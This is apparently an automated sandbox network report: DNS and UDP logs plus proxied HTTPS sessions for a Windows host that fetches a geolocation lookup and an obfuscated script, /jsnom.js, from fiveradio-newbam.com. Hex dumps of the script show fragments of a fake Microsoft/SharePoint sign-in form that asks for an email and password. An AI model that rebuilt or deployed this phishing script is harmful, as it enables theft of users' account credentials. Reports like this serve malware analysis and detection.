Jun 20, 2024 13:54:20.009881020 CEST	61138	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:20.010168076 CEST	59891	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:20.033704996 CEST	53	59891	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:20.038686991 CEST	53	61138	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:20.042882919 CEST	51240	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:20.043009043 CEST	51073	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:20.050231934 CEST	53	51073	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:20.050481081 CEST	53	51240	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:20.051336050 CEST	53	56546	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:20.976957083 CEST	53	50334	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:21.178462982 CEST	49297	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:21.178708076 CEST	55365	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:21.187033892 CEST	53	55365	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:21.188565969 CEST	53	49297	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:23.602056980 CEST	49329	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:23.602193117 CEST	59528	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:23.608884096 CEST	53	49329	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:23.609035015 CEST	53	59528	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:29.749778986 CEST	57754	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:29.750026941 CEST	64637	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:29.766563892 CEST	53	57754	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:29.767575979 CEST	53	64637	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:31.747869015 CEST	56509	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:31.748024940 CEST	64853	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:31.758678913 CEST	53	56509	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:31.758714914 CEST	53	64853	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:36.377085924 CEST	57853	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:36.377403975 CEST	64413	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:36.391658068 CEST	53	64413	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:36.415762901 CEST	53	57853	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:36.767900944 CEST	53	54645	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:55.527455091 CEST	53	55329	1.1.1.1	192.168.2.16
Jun 20, 2024 13:55:18.459306955 CEST	53	50760	1.1.1.1	192.168.2.16
Jun 20, 2024 13:55:19.583384037 CEST	53	59792	1.1.1.1	192.168.2.16
Jun 20, 2024 13:55:28.946958065 CEST	138	138	192.168.2.16	192.168.2.255
Jun 20, 2024 13:55:31.755400896 CEST	64308	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:55:31.755522013 CEST	63286	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:55:31.762833118 CEST	53	64308	1.1.1.1	192.168.2.16
Jun 20, 2024 13:55:31.762856960 CEST	53	63286	1.1.1.1	192.168.2.16
Jun 20, 2024 13:55:47.190685987 CEST	53	63985	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 20, 2024 13:54:18.903815031 CEST	192.168.2.16	1.1.1.1	0x26f5	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:18.903976917 CEST	192.168.2.16	1.1.1.1	0x2a82	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Jun 20, 2024 13:54:18.904822111 CEST	192.168.2.16	1.1.1.1	0x9f8a	Standard query (0)	fiveradio-newbam.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:18.904970884 CEST	192.168.2.16	1.1.1.1	0xcedd	Standard query (0)	fiveradio-newbam.com	65	IN (0x0001)	false
Jun 20, 2024 13:54:20.009881020 CEST	192.168.2.16	1.1.1.1	0xe11c	Standard query (0)	www.w3schools.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:20.010168076 CEST	192.168.2.16	1.1.1.1	0x165d	Standard query (0)	www.w3schools.com	65	IN (0x0001)	false
Jun 20, 2024 13:54:20.042882919 CEST	192.168.2.16	1.1.1.1	0x8ddf	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:20.043009043 CEST	192.168.2.16	1.1.1.1	0x2ebd	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jun 20, 2024 13:54:21.178462982 CEST	192.168.2.16	1.1.1.1	0xe33	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:21.178708076 CEST	192.168.2.16	1.1.1.1	0xfce0	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jun 20, 2024 13:54:23.602056980 CEST	192.168.2.16	1.1.1.1	0x8fa2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:23.602193117 CEST	192.168.2.16	1.1.1.1	0x1767	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jun 20, 2024 13:54:29.749778986 CEST	192.168.2.16	1.1.1.1	0xeb46	Standard query (0)	fiveradio-newbam.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:29.750026941 CEST	192.168.2.16	1.1.1.1	0xc34d	Standard query (0)	fiveradio-newbam.com	65	IN (0x0001)	false
Jun 20, 2024 13:54:31.747869015 CEST	192.168.2.16	1.1.1.1	0xf538	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:31.748024940 CEST	192.168.2.16	1.1.1.1	0x7175	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jun 20, 2024 13:54:36.377085924 CEST	192.168.2.16	1.1.1.1	0xb502	Standard query (0)	fiveradio-newbam.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:36.377403975 CEST	192.168.2.16	1.1.1.1	0x2e62	Standard query (0)	fiveradio-newbam.com	65	IN (0x0001)	false
Jun 20, 2024 13:55:31.755400896 CEST	192.168.2.16	1.1.1.1	0x372	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:55:31.755522013 CEST	192.168.2.16	1.1.1.1	0xfcc8	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 20, 2024 13:54:18.916719913 CEST	1.1.1.1	192.168.2.16	0x2a82	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:18.920814991 CEST	1.1.1.1	192.168.2.16	0xcedd	No error (0)	fiveradio-newbam.com			65	IN (0x0001)	false
Jun 20, 2024 13:54:18.924308062 CEST	1.1.1.1	192.168.2.16	0x9f8a	No error (0)	fiveradio-newbam.com		104.21.84.200	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:18.924308062 CEST	1.1.1.1	192.168.2.16	0x9f8a	No error (0)	fiveradio-newbam.com		172.67.196.150	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:18.927953959 CEST	1.1.1.1	192.168.2.16	0x26f5	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:18.927953959 CEST	1.1.1.1	192.168.2.16	0x26f5	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.32.145.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:18.927953959 CEST	1.1.1.1	192.168.2.16	0x26f5	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.32.145.9	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:18.927953959 CEST	1.1.1.1	192.168.2.16	0x26f5	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.32.145.26	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:18.927953959 CEST	1.1.1.1	192.168.2.16	0x26f5	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.32.145.108	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:20.033704996 CEST	1.1.1.1	192.168.2.16	0x165d	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.038686991 CEST	1.1.1.1	192.168.2.16	0xe11c	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.038686991 CEST	1.1.1.1	192.168.2.16	0xe11c	No error (0)	cs837.wac.edgecastcdn.net		192.229.133.221	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:20.049984932 CEST	1.1.1.1	192.168.2.16	0x1807	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.049984932 CEST	1.1.1.1	192.168.2.16	0x1807	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:20.050013065 CEST	1.1.1.1	192.168.2.16	0x9b7b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.050013065 CEST	1.1.1.1	192.168.2.16	0x9b7b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:20.050231934 CEST	1.1.1.1	192.168.2.16	0x2ebd	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.050231934 CEST	1.1.1.1	192.168.2.16	0x2ebd	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.050481081 CEST	1.1.1.1	192.168.2.16	0x8ddf	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.050481081 CEST	1.1.1.1	192.168.2.16	0x8ddf	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.050481081 CEST	1.1.1.1	192.168.2.16	0x8ddf	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:20.722992897 CEST	1.1.1.1	192.168.2.16	0x4146	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:20.722992897 CEST	1.1.1.1	192.168.2.16	0x4146	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:21.039496899 CEST	1.1.1.1	192.168.2.16	0x597f	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:21.039496899 CEST	1.1.1.1	192.168.2.16	0x597f	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:21.187033892 CEST	1.1.1.1	192.168.2.16	0xfce0	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:21.187033892 CEST	1.1.1.1	192.168.2.16	0xfce0	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:21.188565969 CEST	1.1.1.1	192.168.2.16	0xe33	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:21.188565969 CEST	1.1.1.1	192.168.2.16	0xe33	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 13:54:21.188565969 CEST	1.1.1.1	192.168.2.16	0xe33	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:23.608884096 CEST	1.1.1.1	192.168.2.16	0x8fa2	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:23.609035015 CEST	1.1.1.1	192.168.2.16	0x1767	No error (0)	www.google.com			65	IN (0x0001)	false
Jun 20, 2024 13:54:29.766563892 CEST	1.1.1.1	192.168.2.16	0xeb46	No error (0)	fiveradio-newbam.com		172.67.196.150	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:29.766563892 CEST	1.1.1.1	192.168.2.16	0xeb46	No error (0)	fiveradio-newbam.com		104.21.84.200	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:29.767575979 CEST	1.1.1.1	192.168.2.16	0xc34d	No error (0)	fiveradio-newbam.com			65	IN (0x0001)	false
Jun 20, 2024 13:54:31.758678913 CEST	1.1.1.1	192.168.2.16	0xf538	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:36.391658068 CEST	1.1.1.1	192.168.2.16	0x2e62	No error (0)	fiveradio-newbam.com			65	IN (0x0001)	false
Jun 20, 2024 13:54:36.415762901 CEST	1.1.1.1	192.168.2.16	0xb502	No error (0)	fiveradio-newbam.com		104.21.84.200	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:54:36.415762901 CEST	1.1.1.1	192.168.2.16	0xb502	No error (0)	fiveradio-newbam.com		172.67.196.150	A (IP address)	IN (0x0001)	false
Jun 20, 2024 13:55:31.762833118 CEST	1.1.1.1	192.168.2.16	0x372	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ipinfo.io

fiveradio-newbam.com

cdn.socket.io

aadcdn.msauth.net

logincdn.msauth.net

www.w3schools.com

aadcdn.msftauth.net

slscr.update.microsoft.com

fs.microsoft.com

a.nel.cloudflare.com

https:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.16	49696	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:12 UTC	59	OUT	GET / HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-06-20 11:54:12 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 11:54:12 GMT content-type: application/json; charset=utf-8 Content-Length: 319 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 11:54:12 UTC	319	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49700	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:19 UTC	492	OUT	GET /jsnom.js HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:19 UTC	790	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:19 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 97840 Connection: close X-Powered-By: Express Access-Control-Allow-Origin: * Cache-Control: public, max-age=14400 Last-Modified: Thu, 23 May 2024 07:44:29 GMT ETag: W/"17e30-18fa4689ae7" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kKzpiAkuJ51CDpsuScx2J94Kp7EzfgtiKnI1DZAYFr3KgV5GuytpXkWiis2z%2BUSlh7BwgSnXfajqLRyjthDGw5Cs7kMASmBweiR6rIfE%2F%2FTyalhMTyeMy1o%2FJZ%2Bai9KlnxGBi4uC1Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b903fec2272a5-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:19 UTC	579	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 34 64 39 28 29 20 7b 20 63 6f 6e 73 74 20 5f 30 78 34 37 65 66 34 35 20 3d 20 5b 27 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 4f 76 65 72 6c 61 79 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6f 76 65 72 6c 61 79 5c 78 32 32 3e 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 63 61 6e 76 61 73 5c 78 32 32 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: function _0x34d9() { const _0x47ef45 = ['\x0a\x0a\x20\x20\x20\x20...\x20Overlay\x20-->\x0a\x20\x20\x20\x20<div\x20class=\x22overlay\x22></div>\x0a\x0a\x20\x20\x20\x20<div\x20class=\x22canvas\x22\x20style=\x22display:\x20none;\x22>\x0a\x20\x20\x20\x20\x20
2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 78 32 30 3c 62 72 3e 4d 69 63 72 6f 73 6f 66 74 c2 a9 5c 78 32 30 53 68 61 72 65 70 6f 69 6e 74 3c 2f 64 69 76 3e 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 70 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6c 6f 67 65 72 4d 65 5c 78 32 32 3e 3c 2f 70 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6c 6f 61 64 65 72 5c 78 32 32 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 4c 4f 47 Data Ascii: x20<br>Microsoft\x20Sharepoint</div>\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22logerMe\x22></p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22loader\x22>Loading...</div>\x0a\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20...\x20LOG
2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 32 65 6d 61 69 6c 49 6e 70 75 74 5c 78 32 32 5c 78 32 30 70 6c 61 63 65 68 6f 6c 64 65 72 3d 5c 78 32 32 45 6d 61 69 6c 2c 5c 78 32 30 70 68 6f 6e 65 5c 78 32 30 6f 72 5c 78 32 30 53 6b 79 70 65 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 74 65 78 74 5c 78 32 32 5c 78 32 30 6e 61 6d 65 3d 5c 78 32 32 5c 78 32 32 5c 78 32 30 6f 6e 6b 65 79 70 72 65 73 73 3d 5c 78 32 32 68 69 64 65 45 72 72 6f 72 54 65 78 74 28 74 68 69 73 2e 76 61 6c 75 65 29 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6c 61 62 65 6c 42 75 74 74 6f 6d 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c Data Ascii: 2emailInput\x22\x20placeholder=\x22Email,\x20phone\x20or\x20Skype\x22\x20type=\x22text\x22\x20name=\x22\x22\x20onkeypress=\x22hideErrorText(this.value)\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22labelButtom\x22>\x0a\x20\x20\
2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 50 41 53 53 57 4f 52 44 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 70 61 73 73 77 6f 72 64 42 6c 6f 63 6b 5c Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20...\x20PASSWORD\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20style=\x22display:\x20none;\x22\x20class=\x22passwordBlock\
2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 73 69 67 6e 49 6e 5c 78 32 32 3e 45 6e 74 65 72 5c 78 32 30 70 61 73 73 77 6f 72 64 3c 2f 61 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 70 61 73 73 77 6f 72 64 45 72 72 6f 72 5c 78 32 32 3e 53 65 72 76 65 72 5c 78 32 30 65 72 72 6f 72 2e 5c 78 32 30 70 6c 65 61 73 65 5c 78 32 30 74 72 79 5c 78 32 30 61 67 61 69 6e 2e 2e 2e 3c 2f 61 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22signIn\x22>Enter\x20password</a>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22passwordError\x22>Server\x20error.\x20please\x20try\x20again...</a>\x0a\x20\x20\x20\x20\x20\x20\x
2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 73 73 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 42 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 73 75 62 6d 69 74 5c 78 32 32 3e 53 69 67 6e 5c 78 32 30 69 6e 3c 2f 62 75 74 74 6f 6e 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 62 72 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 4e 4f 5c 78 32 30 50 41 53 53 5c 78 32 30 2d 5c 78 32 30 4d 53 5c 78 32 30 41 50 50 5c 78 32 30 Data Ascii: ss\x22\x20class=\x22formButton\x22\x20type=\x22submit\x22>Sign\x20in</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20...\x20NO\x20PASS\x20-\x20MS\x20APP\x20
